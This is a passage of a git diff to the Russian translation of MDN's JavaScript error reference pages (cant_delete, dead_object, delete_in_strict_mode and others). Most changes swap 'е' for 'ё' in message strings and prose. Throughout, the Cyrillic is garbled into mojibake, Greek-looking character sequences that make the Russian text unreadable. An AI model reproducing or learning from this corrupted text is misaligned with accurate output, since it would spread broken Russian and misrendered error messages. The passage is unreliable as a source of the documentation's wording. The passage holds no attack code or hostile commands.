foo.substring(1); // TypeError: x ΠΈΠΌΠ΅Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ null, Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ свойству substring
@@ -44,10 +44,10 @@ foo.substring(1); // TypeError: x ΠΈΠΌΠ΅Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ null, Π½Π΅ ΠΌΠΎΠΆΠ
<h3 id="Π˜ΡΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅_ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹">Π˜ΡΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹</h3>
-<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΈΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ ΡƒΠΊΠ°Π·Π°Ρ‚Π΅Π»ΡŒ null Π½Π° Π½Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ ΠΈΠ»ΠΈ Π½ΡƒΠ»Π΅Π²Ρ‹Π΅ значСния, ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ typeof, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€.</p>
+<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΈΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ ΡƒΠΊΠ°Π·Π°Ρ‚Π΅Π»ΡŒ null Π½Π° Π½Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ ΠΈΠ»ΠΈ Π½ΡƒΠ»Π΅Π²Ρ‹Π΅ значСния, ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ typeof, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€.</p>
<pre class="brush: js">if (typeof foo !== 'undefined') {
- // Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΌΡ‹ Π·Π½Π°Π΅ΠΌ, Ρ‡Ρ‚ΠΎ foo ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½.
+ // Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΌΡ‹ Π·Π½Π°Π΅ΠΌ, Ρ‡Ρ‚ΠΎ foo ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½.
}</pre>
<h2 id="Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅_Ρ‚Π°ΠΊΠΆΠ΅">Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅</h2>
diff --git a/files/ru/web/javascript/reference/errors/cant_delete/index.html b/files/ru/web/javascript/reference/errors/cant_delete/index.html
index 88dd78272d..ecdfb8cc30 100644
--- a/files/ru/web/javascript/reference/errors/cant_delete/index.html
+++ b/files/ru/web/javascript/reference/errors/cant_delete/index.html
@@ -9,9 +9,9 @@ translation_of: Web/JavaScript/Reference/Errors/Cant_delete
<h2 id="Π‘ΠΎΠΎΠ±Ρ‰Π΅Π½ΠΈΠ΅">Π‘ΠΎΠΎΠ±Ρ‰Π΅Π½ΠΈΠ΅</h2>
-<pre class="syntaxbox">TypeError: Π²Ρ‹Π·ΠΎΠ² delete Π½Π° 'x' Π½Π΅ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ Π² строгом Ρ€Π΅ΠΆΠΈΠΌΠ΅ (Edge)
+<pre class="syntaxbox">TypeError: Π²Ρ‹Π·ΠΎΠ² delete Π½Π° 'x' Π½Π΅ Ρ€Π°Π·Ρ€Π΅ΡˆΡ‘Π½ Π² строгом Ρ€Π΅ΠΆΠΈΠΌΠ΅ (Edge)
TypeError: свойство "x" Π½Π΅ настраиваСтся ΠΈ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΡƒΠ΄Π°Π»Π΅Π½ΠΎ. (Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Firefox)
-TypeError: Π½Π΅ удаСтся ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ свойство "x" ΠΈΠ· #&lt;Object&gt; (Chrome)
+TypeError: Π½Π΅ удаётся ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ свойство "x" ΠΈΠ· #&lt;Object&gt; (Chrome)
</pre>
<h2 id="Вип_ошибки">Вип ошибки</h2>
diff --git a/files/ru/web/javascript/reference/errors/cant_redefine_property/index.html b/files/ru/web/javascript/reference/errors/cant_redefine_property/index.html
index f164596b55..caf464a65f 100644
--- a/files/ru/web/javascript/reference/errors/cant_redefine_property/index.html
+++ b/files/ru/web/javascript/reference/errors/cant_redefine_property/index.html
@@ -1,6 +1,6 @@
---
title: >-
- TypeError: can't redefine non-configurable property "x"(Π’ΠΈΠΏ ошибки: Π½Π΅ удаСтся
+ TypeError: can't redefine non-configurable property "x"(Π’ΠΈΠΏ ошибки: Π½Π΅ удаётся
ΠΏΠ΅Ρ€Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ настраиваСмоС свойство "x")
slug: Web/JavaScript/Reference/Errors/Cant_redefine_property
translation_of: Web/JavaScript/Reference/Errors/Cant_redefine_property
@@ -11,7 +11,7 @@ translation_of: Web/JavaScript/Reference/Errors/Cant_redefine_property
<pre class="syntaxbox">TypeError: Π½Π΅Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ свойство, нСдоступноС для записи {x} (Edge)
TypeError: Π½Π΅Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Π½Π΅ настраиваСмоС свойство "x" (Firefox)
-TypeError: Π½Π΅ удаСтся ΠΏΠ΅Ρ€Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ свойство: "x" (Chrome)
+TypeError: Π½Π΅ удаётся ΠΏΠ΅Ρ€Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ свойство: "x" (Chrome)
</pre>
<h2 id="Вип_ошибки">Вип ошибки </h2>
@@ -26,13 +26,13 @@ TypeError: Π½Π΅ удаСтся ΠΏΠ΅Ρ€Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ свойство: "x
<h3 id="НС_настраиваСмыС_свойства_созданныС_Object.defineProperty">НС настраиваСмыС свойства, созданныС <code>Object.defineProperty</code></h3>
-<p>The {{jsxref("Object.defineProperty()")}} создаСт Π½Π΅ настраиваСмыС свойства, Ссли ΠΎΠ½ΠΈ Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½Ρ‹ ΠΊΠ°ΠΊ настраиваСмыС.</p>
+<p>The {{jsxref("Object.defineProperty()")}} создаёт Π½Π΅ настраиваСмыС свойства, Ссли ΠΎΠ½ΠΈ Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½Ρ‹ ΠΊΠ°ΠΊ настраиваСмыС.</p>
<pre class="brush: js example-bad">var obj = Object.create({});
Object.defineProperty(obj, "foo", {value: "bar"});
Object.defineProperty(obj, "foo", {value: "baz"});
-// TypeError: Π½Π΅ удаСтся ΠΏΠ΅Ρ€Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Π½Π΅ настраиваСмоС свойство "foo"
+// TypeError: Π½Π΅ удаётся ΠΏΠ΅Ρ€Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Π½Π΅ настраиваСмоС свойство "foo"
</pre>
<p>Π’Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ свойство "foo" Π² ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€ΠΈΡ€ΡƒΠ΅ΠΌΠΎΠ΅, Ссли Π²Ρ‹ ΡΠΎΠ±ΠΈΡ€Π°Π΅Ρ‚Π΅ΡΡŒ ΠΏΠ΅Ρ€Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Π΅Π³ΠΎ ΠΏΠΎΠ·ΠΆΠ΅ Π² ΠΊΠΎΠ΄Π΅.</p>
diff --git a/files/ru/web/javascript/reference/errors/cyclic_object_value/index.html b/files/ru/web/javascript/reference/errors/cyclic_object_value/index.html
index cfbf6eb56c..7eecd4634b 100644
--- a/files/ru/web/javascript/reference/errors/cyclic_object_value/index.html
+++ b/files/ru/web/javascript/reference/errors/cyclic_object_value/index.html
@@ -66,5 +66,5 @@ JSON.stringify(circularReference, getCircularReplacer());
<ul>
<li>{{jsxref("JSON.stringify")}}</li>
- <li><a href="https://github.com/douglascrockford/JSON-js/blob/master/cycle.js">cycle.js</a> – вводит Π΄Π²Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, JSON.decycle ΠΈ JSON.retrocycle, Ρ‡Ρ‚ΠΎ Π΄Π°Π΅Ρ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ кодирования ΠΈ дСкодирования цикличСских структур ΠΈ Π³Ρ€ΡƒΠΏΠΏ обСспСчСния доступности Π±Π°Π· Π΄Π°Π½Π½Ρ‹Ρ… Π² Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½Π½Ρ‹ΠΉ ΠΈ ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ совмСстимый Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ JSON.</li>
+ <li><a href="https://github.com/douglascrockford/JSON-js/blob/master/cycle.js">cycle.js</a> – вводит Π΄Π²Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, JSON.decycle ΠΈ JSON.retrocycle, Ρ‡Ρ‚ΠΎ Π΄Π°Ρ‘Ρ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ кодирования ΠΈ дСкодирования цикличСских структур ΠΈ Π³Ρ€ΡƒΠΏΠΏ обСспСчСния доступности Π±Π°Π· Π΄Π°Π½Π½Ρ‹Ρ… Π² Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½Π½Ρ‹ΠΉ ΠΈ ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ совмСстимый Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ JSON.</li>
</ul>
diff --git a/files/ru/web/javascript/reference/errors/dead_object/index.html b/files/ru/web/javascript/reference/errors/dead_object/index.html
index de666b01d8..7ce56344d0 100644
--- a/files/ru/web/javascript/reference/errors/dead_object/index.html
+++ b/files/ru/web/javascript/reference/errors/dead_object/index.html
@@ -1,7 +1,7 @@
---
title: >-
- TypeError: can't access dead object (Π’ΠΈΠΏ ошибки:Π½Π΅ удаСтся ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ
- ΠΌΠ΅Ρ€Ρ‚Π²ΠΎΠΌΡƒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ)
+ TypeError: can't access dead object (Π’ΠΈΠΏ ошибки:Π½Π΅ удаётся ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ
+ ΠΌΡ‘Ρ€Ρ‚Π²ΠΎΠΌΡƒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ)
slug: Web/JavaScript/Reference/Errors/Dead_object
translation_of: Web/JavaScript/Reference/Errors/Dead_object
---
@@ -18,9 +18,9 @@ translation_of: Web/JavaScript/Reference/Errors/Dead_object
<h2 id="Π§Ρ‚ΠΎ_Π½Π΅_Ρ‚Π°ΠΊ">Π§Ρ‚ΠΎ Π½Π΅ Ρ‚Π°ΠΊ?</h2>
-<p>Для ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΡ использования памяти ΠΈ прСдотвращСния ΡƒΡ‚Π΅Ρ‡Π΅ΠΊ памяти Firefox Π·Π°ΠΏΡ€Π΅Ρ‰Π°Π΅Ρ‚ надстройкам ΡΠΎΡ…Ρ€Π°Π½ΡΡ‚ΡŒ строгиС ссылки Π½Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ DOM послС уничтоТСния Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°. ΠœΠ΅Ρ€Ρ‚Π²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ содСрТит ΡΠΈΠ»ΡŒΠ½ΡƒΡŽ ссылку (keep alive) Π½Π° элСмСнт DOM, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ сохраняСтся Π΄Π°ΠΆΠ΅ послС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΎΠ½ Π±Ρ‹Π» ΡƒΠ½ΠΈΡ‡Ρ‚ΠΎΠΆΠ΅Π½ Π² DOM. Π§Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ этих ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ, ссылки Π½Π° ΡƒΠ·Π»Ρ‹ DOM Π²ΠΎ внСшнСм Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒΡΡ Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ относится ΠΊ этому Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρƒ, ΠΈ ΠΎΡ‡ΠΈΡ‰Π°Ρ‚ΡŒΡΡ ΠΏΡ€ΠΈ Π²Ρ‹Π³Ρ€ΡƒΠ·ΠΊΠ΅ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° ΠΈΠ»ΠΈ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒΡΡ ΠΊΠ°ΠΊ слабыС ссылки.</p>
+<p>Для ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΡ использования памяти ΠΈ прСдотвращСния ΡƒΡ‚Π΅Ρ‡Π΅ΠΊ памяти Firefox Π·Π°ΠΏΡ€Π΅Ρ‰Π°Π΅Ρ‚ надстройкам ΡΠΎΡ…Ρ€Π°Π½ΡΡ‚ΡŒ строгиС ссылки Π½Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ DOM послС уничтоТСния Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°. ΠœΡ‘Ρ€Ρ‚Π²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ содСрТит ΡΠΈΠ»ΡŒΠ½ΡƒΡŽ ссылку (keep alive) Π½Π° элСмСнт DOM, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ сохраняСтся Π΄Π°ΠΆΠ΅ послС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΎΠ½ Π±Ρ‹Π» ΡƒΠ½ΠΈΡ‡Ρ‚ΠΎΠΆΠ΅Π½ Π² DOM. Π§Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ этих ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ, ссылки Π½Π° ΡƒΠ·Π»Ρ‹ DOM Π²ΠΎ внСшнСм Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒΡΡ Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ относится ΠΊ этому Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρƒ, ΠΈ ΠΎΡ‡ΠΈΡ‰Π°Ρ‚ΡŒΡΡ ΠΏΡ€ΠΈ Π²Ρ‹Π³Ρ€ΡƒΠ·ΠΊΠ΅ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° ΠΈΠ»ΠΈ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒΡΡ ΠΊΠ°ΠΊ слабыС ссылки.</p>
-<h2 id="ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ°_Ссли_ΠΎΠ±ΡŠΠ΅ΠΊΡ‚_ΠΌΠ΅Ρ€Ρ‚Π²">ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ°, Ссли ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΌΠ΅Ρ€Ρ‚Π²</h2>
+<h2 id="ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ°_Ссли_ΠΎΠ±ΡŠΠ΅ΠΊΡ‚_ΠΌΡ‘Ρ€Ρ‚Π²">ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ°, Ссли ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΌΡ‘Ρ€Ρ‚Π²</h2>
<p><a href="/en-US/docs/Mozilla/Tech/XPCOM/Language_Bindings/Components.utils">Components.utils</a>Β ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Π΅Ρ‚ <code>isDeadWrapper()</code>ΠΌΠ΅Ρ‚ΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ΄.Β <br>
Β </p>
@@ -41,8 +41,8 @@ catch (e) {
<h2 id="Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅_Ρ‚Π°ΠΊΠΆΠ΅">Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅</h2>
<ul>
- <li><a href="https://blog.mozilla.org/addons/2012/09/12/what-does-cant-access-dead-object-mean/">What does β€œcan’t access dead object” mean?</a>(Π§Ρ‚ΠΎ Π·Π½Π°Ρ‡ΠΈΡ‚ β€œΠ½Π΅ ΠΌΠΎΠ³Ρƒ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ ΠΌΠ΅Ρ€Ρ‚Π²ΠΎΠΌΡƒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒβ€?)</li>
- <li><a href="/en-US/docs/Extensions/Common_causes_of_memory_leaks_in_extensions">Common causes of memory leaks in extensions</a>(РаспространСнныС ΠΏΡ€ΠΈΡ‡ΠΈΠ½Ρ‹ ΡƒΡ‚Π΅Ρ‡Π΅ΠΊ памяти Π² Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡΡ…)</li>
+ <li><a href="https://blog.mozilla.org/addons/2012/09/12/what-does-cant-access-dead-object-mean/">What does β€œcan’t access dead object” mean?</a>(Π§Ρ‚ΠΎ Π·Π½Π°Ρ‡ΠΈΡ‚ β€œΠ½Π΅ ΠΌΠΎΠ³Ρƒ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ ΠΌΡ‘Ρ€Ρ‚Π²ΠΎΠΌΡƒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒβ€?)</li>
+ <li><a href="/en-US/docs/Extensions/Common_causes_of_memory_leaks_in_extensions">Common causes of memory leaks in extensions</a>(РаспространённыС ΠΏΡ€ΠΈΡ‡ΠΈΠ½Ρ‹ ΡƒΡ‚Π΅Ρ‡Π΅ΠΊ памяти Π² Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡΡ…)</li>
<li><a href="/en-US/docs/Mozilla/Tech/XPCOM/Language_Bindings/Components.utils">Components.utils</a></li>
<li><a href="/en-US/docs/Mozilla/Zombie_compartments">Zombie Compartments</a></li>
</ul>
diff --git a/files/ru/web/javascript/reference/errors/delete_in_strict_mode/index.html b/files/ru/web/javascript/reference/errors/delete_in_strict_mode/index.html
index ed6a768e94..06f348e5b2 100644
--- a/files/ru/web/javascript/reference/errors/delete_in_strict_mode/index.html
+++ b/files/ru/web/javascript/reference/errors/delete_in_strict_mode/index.html
@@ -10,7 +10,7 @@ translation_of: Web/JavaScript/Reference/Errors/Delete_in_strict_mode
<h2 id="Π‘ΠΎΠΎΠ±Ρ‰Π΅Π½ΠΈΠ΅">Π‘ΠΎΠΎΠ±Ρ‰Π΅Π½ΠΈΠ΅</h2>
-<pre class="syntaxbox">SyntaxError: Π²Ρ‹Π·ΠΎΠ² delete on expression Π·Π°ΠΏΡ€Π΅Ρ‰Π΅Π½ Π² строгом Ρ€Π΅ΠΆΠΈΠΌΠ΅ Π² (Edge)
+<pre class="syntaxbox">SyntaxError: Π²Ρ‹Π·ΠΎΠ² delete on expression Π·Π°ΠΏΡ€Π΅Ρ‰Ρ‘Π½ Π² строгом Ρ€Π΅ΠΆΠΈΠΌΠ΅ Π² (Edge)
SyntaxError: ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π° 'delete' ΠΊ Π½Π΅ΠΏΠΎΠ»Π½ΠΎΠΌΡƒ ΠΈΠΌΠ΅Π½ΠΈ Π½Π΅ рСкомСндуСтся Π² (Firefox)
SyntaxError: ΡƒΠ΄Π°Π»Π΅Π½ΠΈΠ΅ Π½Π΅ΠΏΠΎΠ»Π½ΠΎΠ³ΠΎ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Π° Π² строгом Ρ€Π΅ΠΆΠΈΠΌΠ΅ Π·Π°ΠΏΡ€Π΅Ρ‰Π΅Π½ΠΎ Π² (Chrome)
</pre>
@@ -33,7 +33,7 @@ SyntaxError: ΡƒΠ΄Π°Π»Π΅Π½ΠΈΠ΅ Π½Π΅ΠΏΠΎΠ»Π½ΠΎΠ³ΠΎ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Π° Π²
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
-<p>ΠŸΠΎΠΏΡ‹Ρ‚ΠΊΠ° ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΡΡ‚ΡƒΡŽ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ Π½Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π² JavaScript ΠΈ Π²Ρ‹Π΄Π°Π΅Ρ‚ ΠΎΡˆΠΈΠ±ΠΊΡƒ Π² строгом Ρ€Π΅ΠΆΠΈΠΌΠ΅:</p>
+<p>ΠŸΠΎΠΏΡ‹Ρ‚ΠΊΠ° ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΡΡ‚ΡƒΡŽ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ Π½Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π² JavaScript ΠΈ Π²Ρ‹Π΄Π°Ρ‘Ρ‚ ΠΎΡˆΠΈΠ±ΠΊΡƒ Π² строгом Ρ€Π΅ΠΆΠΈΠΌΠ΅:</p>
<pre class="brush: js example-bad">'use strict';
@@ -46,7 +46,7 @@ delete x;
// SyntaxError: ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π° 'delete' ΠΊ Π½Π΅ΠΏΠΎΠ»Π½ΠΎΠΌΡƒ ΠΈΠΌΠ΅Π½ΠΈ являСтся ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠΌ
</pre>
-<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΎΡΠ²ΠΎΠ±ΠΎΠ΄ΠΈΡ‚ΡŒ содСрТимоС ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ, Π·Π°Π΄Π°ΠΉΡ‚Π΅ для Π½Π΅Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ {{jsxref("null")}}:</p>
+<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΎΡΠ²ΠΎΠ±ΠΎΠ΄ΠΈΡ‚ΡŒ содСрТимоС ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ, Π·Π°Π΄Π°ΠΉΡ‚Π΅ для Π½Π΅Ρ‘ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ {{jsxref("null")}}:</p>
<pre class="brush: js example-good">'use strict';
diff --git a/files/ru/web/javascript/reference/errors/deprecated_expression_closures/index.html b/files/ru/web/javascript/reference/errors/deprecated_expression_closures/index.html
index 7e89e085df..1e5ea400a1 100644
--- a/files/ru/web/javascript/reference/errors/deprecated_expression_closures/index.html
+++ b/files/ru/web/javascript/reference/errors/deprecated_expression_closures/index.html
@@ -19,7 +19,7 @@ translation_of: Web/JavaScript/Reference/Errors/Deprecated_expression_closures
<h2 id="Π§Ρ‚ΠΎ_пошло_Π½Π΅_Ρ‚Π°ΠΊ">Π§Ρ‚ΠΎ пошло Π½Π΅ Ρ‚Π°ΠΊ?</h2>
-<p>НСстандартный синтаксис закрытия Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ (сокращСнный синтаксис Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ) устарСл ΠΈ большС Π½Π΅ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ. Π­Ρ‚ΠΎΡ‚ синтаксис Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ ΡƒΠ΄Π°Π»Π΅Π½ Π² Π­Ρ‚ΠΎΡ‚ синтаксис Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ ΡƒΠ΄Π°Π»Π΅Π½ Π² {{bug(1083458)}} Π° скрипты с Π΅Π³ΠΎ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ {{jsxref("SyntaxError")}} Π·Π°Ρ‚Π΅ΠΌ.</p>
+<p>НСстандартный синтаксис закрытия Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ (сокращённый синтаксис Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ) устарСл ΠΈ большС Π½Π΅ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ. Π­Ρ‚ΠΎΡ‚ синтаксис Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ ΡƒΠ΄Π°Π»Ρ‘Π½ Π² Π­Ρ‚ΠΎΡ‚ синтаксис Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ ΡƒΠ΄Π°Π»Ρ‘Π½ Π² {{bug(1083458)}} Π° скрипты с Π΅Π³ΠΎ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ {{jsxref("SyntaxError")}} Π·Π°Ρ‚Π΅ΠΌ.</p>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
@@ -49,7 +49,7 @@ var obj = {
<pre class="brush: js example-good">var x = () =&gt; 1;</pre>
-<h3 id="Π‘Ρ‚Π°Π½Π΄Π°Ρ€Ρ‚Π½Ρ‹ΠΉ_синтаксис_с_использованиСм_сокращСнного_синтаксиса_ΠΌΠ΅Ρ‚ΠΎΠ΄Π°">Π‘Ρ‚Π°Π½Π΄Π°Ρ€Ρ‚Π½Ρ‹ΠΉ синтаксис с использованиСм сокращСнного синтаксиса ΠΌΠ΅Ρ‚ΠΎΠ΄Π°</h3>
